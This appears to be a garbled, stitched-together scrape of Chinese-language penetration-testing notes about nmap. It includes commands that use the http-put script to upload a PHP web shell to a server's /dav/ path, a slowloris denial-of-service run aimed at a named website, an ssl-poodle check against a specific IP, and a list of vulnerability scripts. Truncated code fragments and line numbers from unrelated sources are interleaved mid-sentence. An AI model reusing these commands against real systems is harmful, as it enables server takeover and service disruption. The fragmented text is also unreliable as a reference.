cmd="想要执行的命令" ▶▶▶.Nmap利用Put方法: 利用命令: nmap -p 80 目标IP地址 -script http-put -script-args http-put.url="需上传目标网址的路径", http-put.file="你要上传文件的位置" 若显示:"http-put: /xxx/test.php was
这里就把上传路径为设置为/dav/,上传文件shell还是之前的shell.php,此处为了有所区分,我们把其名称变换为nmap.php: nmap -p 80 192.168.1.103 —script http-put
, ex);
51 }
52 }
其中引用的 httpManager.Put() 方法如下:
1 ///
IIS 短文件泄露 nmap --max-parallelism 800 --script http-slowloris www.cracer.com # 拒绝服务 nmap --script http-put
nmap -sV -p 443 –version-light –script ssl-poodle 218.19.141.16 8 验证http 中开启了put 方法 nmap –script http-put
ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,http-backup-finder,http-cisco-anyconnect,http-iis-short-name-brute,http-put